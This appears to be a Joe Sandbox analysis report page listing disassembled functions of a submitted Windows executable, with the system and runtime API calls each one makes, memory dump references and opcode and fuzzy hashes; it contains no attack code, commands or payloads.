Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: Message
String ID: 1.2.13$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2030045667-1655038675
Opcode ID: 7dd523a325a109a841204857b7858f0d1b13666f5a8340699109f1febc6a8051
Instruction ID: c0048b406a3067a5d807f7f20d69e6435251b337050b2ef0a9750cca6ece32e9
Opcode Fuzzy Hash: 7dd523a325a109a841204857b7858f0d1b13666f5a8340699109f1febc6a8051
Instruction Fuzzy Hash: 5251AF22A1C68245EA61FB52A4403FAE291FF85BA4FA84135DD4DC77D9FE3CE449C710

Function 00007FF78D29E730 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF78D29EACA,?,?,-00000018,00007FF78D29A877,?,?,?,00007FF78D29A76E,?,?,?,00007FF78D2959B2), ref: 00007FF78D29E8AC
GetProcAddress.KERNEL32(?,?,?,00007FF78D29EACA,?,?,-00000018,00007FF78D29A877,?,?,?,00007FF78D29A76E,?,?,?,00007FF78D2959B2), ref: 00007FF78D29E8B8

Strings

api-ms-, xrefs: 00007FF78D29E7F6
ext-ms-, xrefs: 00007FF78D29E809

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 4d3811a3ab22c82ae67235a6b1b746e8770af1647c4362f0f5ec65253c12b2aa
Instruction ID: 143fb9e9b2ee421dbef771be925395020402b9dc8d6676e008efd06a8a1dc833
Opcode Fuzzy Hash: 4d3811a3ab22c82ae67235a6b1b746e8770af1647c4362f0f5ec65253c12b2aa
Instruction Fuzzy Hash: B541E331B1E60291FA15AB16A804AF5A392FF48BA0FA84539DD1D97794FF3CE41DC320

Function 00007FF78D29B57C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D29B9A9

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: b78b10f8171a7cfb2265306d49bf8ac5f7b6e20db97f85bc1b6cce749d780857
Instruction ID: d6fc8ec066fa912a2ced80173749c076c92c1b9d664c7561e0bf1b4560609105
Opcode Fuzzy Hash: b78b10f8171a7cfb2265306d49bf8ac5f7b6e20db97f85bc1b6cce749d780857
Instruction Fuzzy Hash: 7BC1E42291C786A1F760BB259480AFDBB56FF85B90FA54131D94D03391EE7DE84DC720

Function 00007FF78D29CA80 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF78D29CA6B), ref: 00007FF78D29CB9C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF78D29CA6B), ref: 00007FF78D29CC27

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 3af67734a2f3a827ae08be557b7d648fec8c2babd7e0350651a94601913b5136
Instruction ID: b7a43a634c00deabf8dd09eb6746b6fd7420dc2a3a22f712527103f2f831c2cd
Opcode Fuzzy Hash: 3af67734a2f3a827ae08be557b7d648fec8c2babd7e0350651a94601913b5136
Instruction Fuzzy Hash: 9691D572E0C652A5F750BF259440BFDABA2FB44B98FA44139DE0E57684EE38D44AD330

Function 00007FF78D29F24C Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF78D29F33C
_get_daylight.LIBCMT ref: 00007FF78D29F34D
_get_daylight.LIBCMT ref: 00007FF78D29F35E
_isindst.LIBCMT ref: 00007FF78D29F429

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 27979cfd509fd764994587d3c54170c578b748b3b36c5d570c8e08c5038eee71
Instruction ID: ca0196c948612a20d392c3bd79d7c383e9e949b75d504d8fbe26248b8bcaeea0
Opcode Fuzzy Hash: 27979cfd509fd764994587d3c54170c578b748b3b36c5d570c8e08c5038eee71
Instruction Fuzzy Hash: 8851E872F0912196EB54EF249955AFCB7A2BB04368FE01135DE1D52AE5EF3CA40AC710

Function 00007FF78D294BC0 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D294BED
CreateFileW.KERNELBASE ref: 00007FF78D294C2C
CloseHandle.KERNEL32 ref: 00007FF78D294C61

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: 2d081bc902d9425f4928b5c78894ff70d7ff42ba41d33bb627f6a9c1a32bf3c3
Instruction ID: 739f193b366965151249db62ae2d3bd9efece8772aac2b012bf69f9cd4e82cee
Opcode Fuzzy Hash: 2d081bc902d9425f4928b5c78894ff70d7ff42ba41d33bb627f6a9c1a32bf3c3
Instruction Fuzzy Hash: 3041D522D2C78293E714AB2195107B9A361FF98764F609334EA5C03AD1EF7CA5E6C724

Function 00007FF78D28C10C Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF78D28C2DC: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF78D28C2F0

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF78D28C130
__scrt_release_startup_lock.LIBCMT ref: 00007FF78D28C19E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF78D28C1F1

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: ea46be3d8ae4ad363d2f6f392a48c86c3af29454ec7939321de241a0454aee0c
Instruction ID: 56447a55eefba375aa623f1677b45f88a2f273fa9f81419d6e778deb52e3aac6
Opcode Fuzzy Hash: ea46be3d8ae4ad363d2f6f392a48c86c3af29454ec7939321de241a0454aee0c
Instruction Fuzzy Hash: 25310721E1C64341FA14BB65A4A17F9E291BF81794FE85435E94E876D7FF2CA80CE230

Function 00007FF78D299520 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF78D29951C), ref: 00007FF78D299531
TerminateProcess.KERNEL32(?,?,?,00007FF78D29951C), ref: 00007FF78D29953C
ExitProcess.KERNEL32 ref: 00007FF78D29954B

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 4e3a83031f47ddeb885e5589f18e3df7b014438e2a6478eeea6e7e20a19e60f4
Instruction ID: 55cbf5a7e2acc0dd182a2579ffd49e98afc6d745ea8fe9d43cfb13110f16aaa7
Opcode Fuzzy Hash: 4e3a83031f47ddeb885e5589f18e3df7b014438e2a6478eeea6e7e20a19e60f4
Instruction Fuzzy Hash: 9DD09210F0C60652EB583F7268994FA9216BF89771FA02838D80F16393ED2DA84DC220

Function 00007FF78D28F8DC Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D28F920
_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D28FA17

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 639d0d1f66497eafda6340559bc0e761e7db2e49897f54e35c74d01d7e8a5f3f
Instruction ID: 26e28de1c9fa4ad4c8809ede7139bcf46ad97146c46781859b725102c56d751d
Opcode Fuzzy Hash: 639d0d1f66497eafda6340559bc0e761e7db2e49897f54e35c74d01d7e8a5f3f
Instruction Fuzzy Hash: 1A51C761B0D6A295FB24BA2694006FAE391BF84BB4FB44634DD6D877C5EF3CD409C620

Function 00007FF78D29BC54 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF78D29BDED), ref: 00007FF78D29BCA0
GetLastError.KERNEL32(?,?,?,?,?,00007FF78D29BDED), ref: 00007FF78D29BCAA

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 2bf1368ff66aa7c0652ff233216220e89ff7f8eb1a64cb139b078e6ab86a4f0a
Instruction ID: c31aa6379e73e3f121f1872b20197f05197dcd049143d8d2f1d1012c88524b12
Opcode Fuzzy Hash: 2bf1368ff66aa7c0652ff233216220e89ff7f8eb1a64cb139b078e6ab86a4f0a
Instruction Fuzzy Hash: 3511016160CB9285EA10AB25E4401AAB362FB84BF4FA40331EE7D0B7D8EF3CD049C350

Function 00007FF78D29761C Relevance: 3.0, APIs: 2, Instructions: 35timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF78D297499), ref: 00007FF78D29763F
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF78D297499), ref: 00007FF78D297655

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: e4670c9172cba1a660546fa2d8c298ca39ebe1923cb603a53d1f19849a99427c
Instruction ID: 7944513fc7a1f241cf8622e9f8ebde1ff5f473128e2f8c7dee362f5197a163bc
Opcode Fuzzy Hash: e4670c9172cba1a660546fa2d8c298ca39ebe1923cb603a53d1f19849a99427c
Instruction Fuzzy Hash: DA01A13260C652D2E754AB19E4012BEF7B1FB85725FB00236E6A9065D8EF7DD009CB20

Function 00007FF78D29A46C Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF78D2A28F2,?,?,?,00007FF78D2A292F,?,?,00000000,00007FF78D2A2DF5,?,?,00000000,00007FF78D2A2D27), ref: 00007FF78D29A482
GetLastError.KERNEL32(?,?,?,00007FF78D2A28F2,?,?,?,00007FF78D2A292F,?,?,00000000,00007FF78D2A2DF5,?,?,00000000,00007FF78D2A2D27), ref: 00007FF78D29A48C

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 2e568124df2f61543f652acb0217fa5dae55a3ee654cd2d84939367af105c9c4
Instruction ID: 6bbdeafefcec164e2dc269606a4fe0cbb55be555cdf66d1e422b498fdb05fe21
Opcode Fuzzy Hash: 2e568124df2f61543f652acb0217fa5dae55a3ee654cd2d84939367af105c9c4
Instruction Fuzzy Hash: 6AE08C10F1C24256FF18BBF398495F5A196BF88720FE04438D90E86361FE2CA89EC270

Function 00007FF78D297384 Relevance: 3.0, APIs: 2, Instructions: 12COMMON

Download Yara Rule

APIs

RemoveDirectoryW.KERNELBASE ref: 00007FF78D297388
GetLastError.KERNEL32 ref: 00007FF78D297392

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: DirectoryErrorLastRemove
String ID:
API String ID: 377330604-0
Opcode ID: 4cc3272b124f09b3dda84f86e13737e329a1a4337f7cb6f6a6a1eba5418ca435
Instruction ID: 3da14615e5928afe8722271edaca19de0e0342fca6435b942b33218263f5844f
Opcode Fuzzy Hash: 4cc3272b124f09b3dda84f86e13737e329a1a4337f7cb6f6a6a1eba5418ca435
Instruction Fuzzy Hash: D0D0C910E1C603D2E61837761C468F9A691BF44730FF00675C429811D0FE1CA08EC225

Function 00007FF78D297C08 Relevance: 3.0, APIs: 2, Instructions: 12fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE ref: 00007FF78D297C0C
GetLastError.KERNEL32 ref: 00007FF78D297C16

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: DeleteErrorFileLast
String ID:
API String ID: 2018770650-0
Opcode ID: 2de5b9ebf423321c7c711e9f01dcf7191317eb7c926487f3040a103b31db1f96
Instruction ID: df85ddaa7857f533657e655ff531bca087994e876084c445aa01d8fa91f85c04
Opcode Fuzzy Hash: 2de5b9ebf423321c7c711e9f01dcf7191317eb7c926487f3040a103b31db1f96
Instruction Fuzzy Hash: E0D0C910E1C603A1E61437770C494F99591BF54B30FF00A35C429821D0FE1CA45FC235

Function 00007FF78D29A67C Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF78D29A4F9,?,?,00000000,00007FF78D29A5AE), ref: 00007FF78D29A6EA
GetLastError.KERNEL32(?,?,?,00007FF78D29A4F9,?,?,00000000,00007FF78D29A5AE), ref: 00007FF78D29A6F4

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: e1680419c5f55b9125212a39ed8b591ffc9a9c583c5bdd3f2579cad41cebeee2
Instruction ID: 42b335ae9e75aad7e04460232029197bed5c9695ec957acf4bb7c71a8e74d007
Opcode Fuzzy Hash: e1680419c5f55b9125212a39ed8b591ffc9a9c583c5bdd3f2579cad41cebeee2
Instruction Fuzzy Hash: E921C661B0C74221FE54B722A4607FD9293BF84BA4FB44275DA2D473D5EE6CE849C320

Function 00007FF78D287D20 Relevance: 1.6, APIs: 1, Instructions: 141COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF78D288AC0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF78D282A5B), ref: 00007FF78D288AFC

_findclose.LIBCMT ref: 00007FF78D287F79

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: ByteCharMultiWide_findclose
String ID:
API String ID: 2772937645-0
Opcode ID: 067de3add71ef40384ca45790263c99af06b4dc9329fd0d48922232c80701ad0
Instruction ID: 7d0e8d0ba41a6597d19d1e442b79bf7fb4353e9efd614070eb142fa6a28aa779
Opcode Fuzzy Hash: 067de3add71ef40384ca45790263c99af06b4dc9329fd0d48922232c80701ad0
Instruction Fuzzy Hash: D6718C52E1CBC581E611DB2CD5052FDA360FBA9B48FA4E321DB9C52592FF28E2D9C700

Function 00007FF78D29B9CC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D29B9F4

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f755119030bcfcfa624fdfb25a7a8ddad1c9f1ef9ace863b6ec73370e6180077
Instruction ID: b304ec42c33e26f336b998e5ea497fec074049d5adaef99fff79c3e708f4ba09
Opcode Fuzzy Hash: f755119030bcfcfa624fdfb25a7a8ddad1c9f1ef9ace863b6ec73370e6180077
Instruction Fuzzy Hash: 5941F73290C24193EA34BB29E5846BDF3A2FB55B50FA01231D78E436D5EF2DE406C760

Function 00007FF78D2970A4 Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D2970FF

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8d50fe43084d2508a0fc1ad2a5509924f2a7905885ba80392322594f9d4626cc
Instruction ID: 70a782638a5be5fca82bc54a02c8d52b1c14c3a8750c1f1c442ba8a2028b63ba
Opcode Fuzzy Hash: 8d50fe43084d2508a0fc1ad2a5509924f2a7905885ba80392322594f9d4626cc
Instruction Fuzzy Hash: 05317211B0D64262EE14FB22D8056F9A252FF84BA0FA44A35DE1D477C6FE3CE40AC310

Function 00007FF78D288290 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF78D28833A

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
